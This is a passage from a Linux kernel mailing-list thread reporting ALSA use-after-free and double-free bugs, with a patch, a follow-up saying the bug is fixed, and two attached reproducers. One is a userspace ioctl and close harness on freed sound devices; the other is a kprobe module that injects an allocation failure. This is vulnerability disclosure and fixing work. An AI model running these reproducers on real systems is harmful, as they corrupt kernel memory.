err = snd_ctl_add(card, kctl);
if (err < 0)
return NULL;
- jack_kctl = kzalloc_obj(*jack_kctl);
-
- if (!jack_kctl)
- goto error;
-
- jack_kctl->kctl = kctl;
- jack_kctl->mask_bits = mask;
-
- kctl->private_data = jack_kctl;
- kctl->private_free = snd_jack_kctl_private_free;
-
return jack_kctl;
-error:
- snd_ctl_free_one(kctl);
- return NULL;
}
/**
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HOLD: done\n");
return 0;
}
static int plan_mr02hammer(int iters)
{
int fd, i;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HAMMER: %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
if ((i % 256) == 0) {
printf("MR02HAMMER: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR02HAMMER: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR));
printf("MR02HAMMER: done\n");
return 0;
}
/* ---- FW-MR-03 ---- */
static int plan_mr03midi(int secs)
{
int fd, n = 0;
unsigned char msg[3] = { 0x90, 0x40, 0x7f };
waitdev("/dev/snd/midiC0D0", 15000);
fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
if (fd < 0) {
fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
fflush(stdout);
/* a few writes: each runs snd_rawmidi_kernel_write1 ->
* snd_rawmidi_output_trigger(substream, 1) -> queue_work */
for (n = 0; n < 32; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: %d writes queued; holding fd for %ds "
"(host frees emux now)\n", n, secs);
fflush(stdout);
sleep(secs);
printf("MR03MIDI: writing again on freed rmidi\n");
fflush(stdout);
for (n = 0; n < 8; n++)
{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
fflush(stdout);
close(fd);
printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
printf("MR03MIDI: done\n");
return 0;
}
/* ---- FW-MR-04 ---- */
static int plan_mr04pcm(int secs)
{
int fd, i;
unsigned int ver = 0;
struct snd_pcm_info info;
waitdev("/dev/snd/pcmC1D0p", 15000);
fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
return 1;
}
printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
fflush(stdout);
for (i = 0; i < 64; i++) {
ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
usleep(1000);
}
printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
"(host frees pcm now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
fflush(stdout);
memset(&info, 0, sizeof(info));
ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
fflush(stdout);
close(fd);
printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/pcmC1D0p", O_WRONLY));
printf("MR04PCM: done\n");
return 0;
}
/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */
static int ctl_open(void)
{
int fd = open("/dev/snd/controlC0", O_RDWR);
if (fd < 0)
fprintf(stderr, "open controlC0: %s\n", strerror(errno));
return fd;
}
static int plan_mr01read(int secs)
{
int fd, i, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0)
break;
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
}
if ((++i % 64) == 0) {
printf("MR01READ: round %d (count=%u)\n", i, list.count);
fflush(stdout);
}
usleep(2000);
}
printf("MR01READ: done (%d rounds)\n", i);
free(ids);
close(fd);
return 0;
}
static int plan_mr06storm(int secs)
{
int fd, card, i, added = 0;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
struct snd_ctl_elem_id remove_id;
unsigned long until = (unsigned long)time(NULL) + secs;
fd = ctl_open();
if (fd < 0)
return 1;
/* take the name of an existing CARD-interface control so the user
* control shares the ctl_hash key of the jack controls that the
* reconfig probe's get_available_index() looks up locklessly */
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
memset(&info, 0, sizeof(info));
for (i = 0; i < (int)list.count && i < 256; i++) {
info.id = ids[i];
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
continue;
if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
break;
}
if (i >= (int)list.count) {
fprintf(stderr, "no CARD control found\n");
free(ids);
close(fd);
return 1;
}
printf("MR06STORM: adding/removing iface=CARD user control '%s' "
"for %ds\n", info.id.name, secs);
fflush(stdout);
i = 0;
while ((unsigned long)time(NULL) < until) {
memset(&info, 0, sizeof(info));
info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
strncpy((char *)info.id.name, "Headphone Jack",
sizeof(info.id.name) - 1);
info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
info.count = 1;
info.owner = 0;
if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
goto drop;
added++;
remove_id = info.id;
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
if ((++i % 256) == 0) {
printf("MR06STORM: round %d (added=%d)\n", i, added);
fflush(stdout);
}
usleep(500);
}
(void)card;
printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
free(ids);
close(fd);
return 0;
}
static int plan_mr01dump(void)
{
int fd, n, err;
struct snd_ctl_elem_list list;
struct snd_ctl_elem_id *ids;
struct snd_ctl_elem_info info;
fd = ctl_open();
if (fd < 0)
return 1;
ids = calloc(256, sizeof(*ids));
memset(&list, 0, sizeof(list));
list.offset = 0;
list.space = 256;
list.pids = ids;
err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
if (err < 0) {
printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
free(ids);
close(fd);
return 1;
}
printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
list.count);
fflush(stdout);
for (n = 0; n < (int)list.count && n < 256; n++) {
memset(&info, 0, sizeof(info));
info.id = ids[n];
ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
printf("MR01DUMP: numid=%-5u iface=%d %s\n",
ids[n].numid, ids[n].iface, ids[n].name);
fflush(stdout);
}
free(ids);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "mr02hold"))
return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
if (!strcmp(argv[1], "mr02hammer"))
return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
if (!strcmp(argv[1], "mr03midi"))
return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr04pcm"))
return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
if (!strcmp(argv[1], "mr01dump"))
return plan_mr01dump();
if (!strcmp(argv[1], "mr01read"))
return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
if (!strcmp(argv[1], "mr06storm"))
return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
if (!strcmp(argv[1], "waitdev"))
return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
[-- Attachment #3: fwmr01.c --]
[-- Type: text/plain, Size: 5358 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr01.c - dynamic verification harness for audit case FW-MR-01
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "snd_jack_kctl_new() å¨ snd_ctl_add() åå¸åäºéè¯¯åæ»ä¸æ éè°ç¨
* snd_ctl_free_one()ï¼å¯¼è´ struct snd_kcontrol UAF / Double-Free"
*
* The audited bug requires the kzalloc_obj(*jack_kctl) at jack.c:440 to
* fail AFTER snd_ctl_add() already published the kctl. This kernel
* (build-kasan-hda-7.3) has no CONFIG_FAULT_INJECTION, so the failure is
* injected surgically with the project's kprobe-addr method:
*
* snd_jack_kctl_new+0x56 is the instruction right after the
* `call __kmalloc_cache_noprof` that implements kzalloc_obj
* (objdump, build-kasan-hda-7.3/vmlinux, snd_jack_kctl_new@0x...120:
* ...147: call snd_ctl_add
* ...14c: test %eax,%eax
* ...14e: js +0xb5 <- add-failure path (kctl NOT added)
* ...171: call __kmalloc_cache_noprof
* ...176: mov %rax,%rbp <- INJECTION POINT: kzalloc return
* ...179: test %rax,%rax
* ...17c: je +0xad -> call snd_ctl_free_one(kctl) <- audited
* error rollback that frees the STILL-LINKED kctl).
*
* A kprobe post_handler at +0x56 clears %rax exactly once while armed,
* which makes the real in-tree snd_jack_kctl_new() take the audited
* error branch: snd_ctl_free_one(kctl) kfree()s a control that remains
* linked in card->controls + ctl_numids + ctl_hash -- the persistent
* dangling state of FW-MR-01. The reconfig writer then aborts its probe
* (-ENOMEM from the first jack), leaving the dangling kctl behind; the
* concurrent control-face reader (fwmr_test mr01read) walks card->controls
* and derefs the freed kctl (UAF), and the final PCI unbind runs
* snd_ctl_dev_free() over the dangling entry (double-free).
*
* Zero kernel source modification; the audited code is the byte-identical
* in-tree vmlinux (offset validated against live opcode bytes before use).
*/
#define pr_fmt(fmt) "FWMR01: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
/* offset of `mov %rax,%rbp` (kzalloc return point) inside
* snd_jack_kctl_new, from build-kasan-hda-7.3/vmlinux objdump */
#define FW01_KZALLOC_RET_OFF 0x56
static struct kprobe fw01_kp;
static void *fw01_base;
static atomic_t fw01_armed = ATOMIC_INIT(0);
static atomic_t fw01_injected = ATOMIC_INIT(0);
static int fw01_pre(struct kprobe *p, struct pt_regs *regs)
{
return 0;
}
static void fw01_post(struct kprobe *p, struct pt_regs *regs, unsigned long flags)
{
if (atomic_read(&fw01_armed) && !atomic_xchg(&fw01_injected, 1)) {
pr_info("injecting kzalloc failure: %ps returned, clearing "
"%%rax -> jack.c:443 goto error -> jack.c:453 "
"snd_ctl_free_one(kctl) on a PUBLISHED control\n",
current->comm);
regs->ax = 0;
}
}
static int fw01_arm_set(const char *val, const struct kernel_param *kp)
{
const unsigned char *op;
int rc;
if (atomic_read(&fw01_injected))
return -EALREADY;
if (!fw01_base)
return -ENOENT;
/* live opcode guard: must still be `48 89 c5` (mov %rax,%rbp) */
op = (const unsigned char *)(fw01_base + FW01_KZALLOC_RET_OFF);
if (op[0] != 0x48 || op[1] != 0x89 || op[2] != 0xc5) {
pr_err("offset guard failed: bytes %02x %02x %02x != 48 89 c5 "
"-- refusing to arm (build drift)\n",
op[0], op[1], op[2]);
return -EINVAL;
}
fw01_kp.addr = fw01_base + FW01_KZALLOC_RET_OFF;
fw01_kp.pre_handler = fw01_pre;
fw01_kp.post_handler = fw01_post;
rc = register_kprobe(&fw01_kp);
if (rc < 0) {
pr_err("register_kprobe(+0x%x) failed: %d\n",
FW01_KZALLOC_RET_OFF, rc);
return rc;
}
atomic_set(&fw01_armed, 1);
pr_info("armed: kprobe at snd_jack_kctl_new+0x%x (%pB), one-shot\n",
FW01_KZALLOC_RET_OFF, fw01_kp.addr);
return 0;
}
static const struct kernel_param_ops fw01_arm_ops = { .set = fw01_arm_set };
module_param_cb(arm, &fw01_arm_ops, NULL, 0200);
static int fw01_status_get(char *buf, const struct kernel_param *kp)
{
return sysfs_emit(buf, "armed=%d injected=%d base=%px\n",
atomic_read(&fw01_armed),
atomic_read(&fw01_injected), fw01_base);
}
static const struct kernel_param_ops fw01_status_ops = { .get = fw01_status_get };
module_param_cb(status, &fw01_status_ops, NULL, 0400);
static int __init fwmr01_init(void)
{
struct kprobe probe;
void *addr;
/* resolve the (static) symbol via kallsyms through a throwaway
* kprobe -- same technique as kmod/synth/synthrace.c and
* kmod/nmi/nmi_race.c */
memset(&probe, 0, sizeof(probe));
probe.symbol_name = "snd_jack_kctl_new";
if (register_kprobe(&probe) < 0) {
pr_err("cannot resolve snd_jack_kctl_new via kallsyms\n");
return -ENOENT;
}
addr = probe.addr;
unregister_kprobe(&probe);
fw01_base = addr;
pr_info("snd_jack_kctl_new @ %px; injection offset +0x%x "
"(kzalloc return point, jack.c:440)\n",
addr, FW01_KZALLOC_RET_OFF);
pr_info("write 1 to .../parameters/arm to arm one-shot injection, "
"then trigger a codec reconfig\n");
return 0;
}
static void __exit fwmr01_exit(void)
{
if (fw01_kp.addr) {
unregister_kprobe(&fw01_kp);
fw01_kp.addr = NULL;
}
}
module_init(fwmr01_init);
module_exit(fwmr01_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-01 jack kzalloc-failure injection harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free)
2026-12-01 4:28 ` ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free) 徐晗翔
@ 2026-12-01 12:00 ` 徐晗翔
0 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:00 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: this has been fixed in 7.4-rc5 -- the error path now calls
snd_ctl_remove() (which unlinks the kcontrol under controls_rwsem
before freeing it) instead of the unlocked snd_ctl_free_one(), so the
dangling-entry and double-free behavior no longer reproduces; please
feel free to close.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:28:40 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free)
>
> snd_jack_kctl_new() publishes the jack-detection kcontrol to the card
> first (snd_ctl_add() links it into card->controls and into the
> ctl_numids/ctl_hash xarrays) and only then allocates the jack private
> part; when that kzalloc fails, the error path calls snd_ctl_free_one()
> on the kcontrol that is still linked into all three indexes -- without
> holding card->controls_rwsem and without unlinking it. The result is a
> persistent dangling entry: every later control-face access (ELEM_LIST /
> ELEM_INFO / ELEM_READ ioctls) dereferences freed memory, and the final
> card teardown walks the same dangling entry and frees it a second time.
>
> Reached on a live registered card through the HDA reconfig path:
> `echo 1 > /sys/class/sound/hwC0D0/reconfig` runs
> snd_hda_codec_reset(), which clears card->shutdown via
> snd_hda_unlock_devices() before device_reprobe(), so /dev/snd/controlC*
> is fully operational while the reprobe creates jacks through
> snd_jack_kctl_new(). The only random component is the allocation
> failure itself; since our test kernel ships no CONFIG_FAILSLAB, we
> injected it surgically with a one-shot kprobe on the kzalloc return
> instruction inside snd_jack_kctl_new (+0x56, guarded against build
> drift by live opcode bytes), which drives the byte-identical in-tree
> code through the audited error branch. 957 KASAN use-after-free
> reports followed immediately, with the free stack pointing at the
> audited rollback itself and the use stacks in the control-face readers
> and in the removal path. A negative control running the same
> reconfig + reader + unbind sequence without injection is clean.
> Writing the sysfs attribute requires root or equivalent; the
> consequence is kernel memory corruption and a double free.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball (kernel.org), KASAN enabled,
> QEMU/KVM x86_64 guest with intel-hda + hda-duplex; kernel configured
> with CONFIG_SND_HDA_RECONFIG=y and CONFIG_SND_HDA_GENERIC=y
> (built-in). sound/core/jack.c, sound/core/control.c and
> sound/core/ctljack.c are byte-identical to the mainline 7.3 release;
> line numbers below are from 7.3.
>
> * Mechanism
>
> - Publish first: snd_jack_kctl_new() calls snd_ctl_add()
> (sound/core/jack.c:436) -> __snd_ctl_add_replace() links the
> kcontrol into card->controls under controls_rwlock
> (control.c:497-502) and fills ctl_numids/ctl_hash via
> add_hash_entries() (control.c:403-423, 504), all under write
> controls_rwsem; on return the kcontrol is globally visible.
>
> - Rollback frees the published object: the kzalloc_obj(*jack_kctl)
> at jack.c:440 fails -> "goto error" -> snd_ctl_free_one(kctl)
> (jack.c:453) -> kfree(kcontrol) at control.c:331. Nothing removes
> the list node or the xarray entries; snd_ctl_free_one()'s own
> contract comment says "Don't call this after the control was added
> to the card" (control.c:324). The correct sequence (remove_hash_entries()
> -> list_del -> free) lives in __snd_ctl_remove()
> (control.c:577-600) and is never reached for this object.
>
> - The dangling state is persistent, not a narrow window: ELEM_LIST
> walks card->controls and copies the freed kcontrol's id; ELEM_INFO
> / ELEM_READ resolve it through snd_ctl_find_numid()/find_id()
> (an unlocked xa_load under CONFIG_SND_CTL_FAST_LOOKUP); and the
> card teardown, snd_ctl_dev_free() (control.c:2457-2475), walks
> card->controls under the write lock, runs __snd_ctl_remove() on
> the dangling node (UAF reads in remove_hash_entries() and
> snd_ctl_notify_one()) and then frees it a second time.
>
> - Secondary data race in the same function: kctl->private_data and
> kctl->private_free are written after snd_ctl_add() returned and
> with no lock held (jack.c:448-449); a concurrent free between the
> two writes calls snd_ctl_free_one() with private_free still NULL
> and the post-release write at jack.c:449 lands on freed memory.
>
> * Trigger model
>
> Root (or equivalent -- the codec sysfs attributes are root-writable)
> writes the reconfig attribute while the card is registered, and the
> jack private-part kzalloc (jack.c:440, GFP_KERNEL) fails: real
> memory pressure, or CONFIG_FAILSLAB in a debug kernel (the kernel we
> tested has no fault injection, hence the targeted injection). Any
> concurrently opened /dev/snd/controlC* (its ioctl paths hold only
> the read lock) hits the dangling entry; the card teardown double-
> frees it. Consequence: use-after-free reads through
> snd_kcontrol->id/vd[]/ops, a kfree() double free, and a corrupted
> control namespace (numid/hash entries point at freed memory).
>
> * Reproducer (attached: fwmr01.c, fwmr_test.c) and results on 7.3
>
> fwmr01.c is a module that resolves the (static) snd_jack_kctl_new
> via kallsyms, registers a one-shot kprobe at +0x56 (the instruction
> after the kzalloc call, guarded by live opcode bytes "48 89 c5" to
> catch build drift) and clears %rax in its post_handler exactly once
> while armed -- an allocation-failure injection at the exact audited
> point, changing no event order. fwmr_test.c hammers
> SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on /dev/snd/controlC0.
>
> # build (against the tested kernel tree)
> make -C <kernel-build-dir> M=$PWD modules
> # guest sequence:
> insmod fwmr01.ko
> echo 1 > /sys/module/fwmr01/parameters/arm
> echo 1 > /sys/class/sound/hwC0D0/reconfig # injection fires in the reprobe
> ./fwmr_test mr01read 20 & # reader hammer
> echo "$PCIADDR" > /sys/bus/pci/drivers/snd_hda_intel/unbind
>
> Results (7.3, 4 vCPU, KASAN):
>
> - injection hits inside the reprobe on the first jack creation;
> 957 KASAN use-after-free reports on a kmalloc-192 object
> (snd_kcontrol), starting ~1 ms after the injection;
>
> - three-stack closure of the first report: allocated by
> __kmalloc_noprof <- snd_jack_kctl_new+0x15 <- snd_hda_jack_add_kctls
> (real generic-probe jack creation); freed by
> kfree <- snd_jack_kctl_new+0xb5 -- that offset *is* the audited
> error-branch call to snd_ctl_free_one(); used by
> __snd_ctl_remove+0x5a, snd_ctl_elem_list+0x1fa (Read of size 64 =
> two elem_id copies from card->controls), snd_ctl_elem_info+0xb8,
> snd_ctl_release;
>
> - negative control (same reconfig + reader + unbind, no injection):
> 0 reports, clean unbind.
>
> Evidence excerpts attached (first-hit three stacks, injection point,
> hit-site distribution).
>
> * Suggested patch
>
> Allocate and fully initialize the private part before publishing the
> kcontrol. With private_free set before snd_ctl_add(), the add()'s
> own failure path (snd_ctl_add_replace() -> snd_ctl_free_one()) frees
> both objects correctly, and the audited error branch disappears.
> The complete patch against 7.3 follows (also kept as
> patch/0001-fw-mr01.patch); happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/sound/core/jack.c
> +++ b/sound/core/jack.c
> @@ -433,25 +433,31 @@
> if (!kctl)
> return NULL;
>
> + jack_kctl = kzalloc_obj(*jack_kctl);
> + if (!jack_kctl) {
> + snd_ctl_free_one(kctl);
> + return NULL;
> + }
> +
> + jack_kctl->kctl = kctl;
> + jack_kctl->mask_bits = mask;
> + INIT_LIST_HEAD(&jack_kctl->list);
> +
> + kctl->private_data = jack_kctl;
> + kctl->private_free = snd_jack_kctl_private_free;
> +
> err = snd_ctl_add(card, kctl);
> if (err < 0)
> return NULL;
>
> - jack_kctl = kzalloc_obj(*jack_kctl);
> -
> - if (!jack_kctl)
> - goto error;
> -
> - jack_kctl->kctl = kctl;
> - jack_kctl->mask_bits = mask;
> -
> - kctl->private_data = jack_kctl;
> - kctl->private_free = snd_jack_kctl_private_free;
> -
> return jack_kctl;
> -error:
> - snd_ctl_free_one(kctl);
> - return NULL;
> }
>
> /**
> ---- patch ends ----
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (18 preceding siblings ...)
2026-12-01 4:28 ` ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free) 徐晗翔
@ 2026-12-01 4:31 ` 徐晗翔
2026-12-01 4:42 ` sashiko-bot
2026-12-01 12:00 ` 徐晗翔
2026-12-01 4:32 ` ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF) 徐晗翔
` (21 subsequent siblings)
41 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:31 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7776 bytes --]
An ALSA sub-driver that registers devices on a live card -- here the
emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind
the sequencer device framework -- removes its hwdep device with
snd_device_free() on its own remove path. That synchronously runs
snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex
and hwdep->open_mutex, wakes the open waiters, unregisters the minor
and drops off the registry, without waiting for hw->used to drop and
without replacing any file->f_op -- and then snd_hwdep_free() kfree()s
struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps
file->private_data pointing at the freed object: in-flight ioctls
dereference it (hw->ops, hwdep.c:251-252), a close() runs
snd_hwdep_release() on it (hw->card->module read, mutex_lock on the
freed open_mutex, hw->used--), and a future open() fails with -ENODEV
while the dangling fd stays armed. We reproduced both shapes on
vanilla 7.3: a deterministic variant (hold an fd across the sub-driver
free, then ioctl+close) hit six distinct use-after-free reports inside
snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the
freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight
variant (ioctl hammer racing the free) produced 119 reports
(snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73
walking hw->private_data into the freed emux). The sequencer device
framework holds no module reference for bound devices and the hwdep
f_ops owner is the ALSA core module, so `rmmod snd_emu10k1_synth` is
not blocked by the open fd. Removing the sub-driver requires root;
holding and using the fd needs no privilege.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
x86_64 guest. The emux/sequencer/virmidi code is the byte-identical
in-tree modules (built from an unmodified tree with a config variant
that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules);
sound/core/hwdep.c and sound/synth/emux/* are byte-identical to
mainline 7.3; line numbers below are from 7.3.
* Mechanism
- Open side holds no lifetime guarantee for the object:
snd_hwdep_open() pins the card (sound.c:111) and the card module
(hwdep.c:88) only; the emux hwdep registers no ops.open/release
(emux_hwdep.c:126-129), so opening pins no sub-driver module at
all; success stores file->private_data = hw (hwdep.c:132) and the
f_ops owner is the ALSA core module, so the fd outlives any
module unload.
- Remove side is synchronous and does not drain:
snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
-> __snd_device_free() -> snd_hwdep_dev_disconnect()
(hwdep.c:455-473: register_mutex + open_mutex held only briefly,
wake_up(open_wait), minor unregistered, list_del_init) and then
snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346). There is no wait
for hw->used == 0, no f_op swap, no cancelation point.
- Whole-card removal triggers the same free chain nested inside
snd_device_disconnect_all() (the seq device's device_del()
synchronously unbinds the sub-driver, whose remove calls the same
snd_device_free()); there snd_card_disconnect() has already
swapped file->f_op to the dummy shutdown ops, so only syscalls
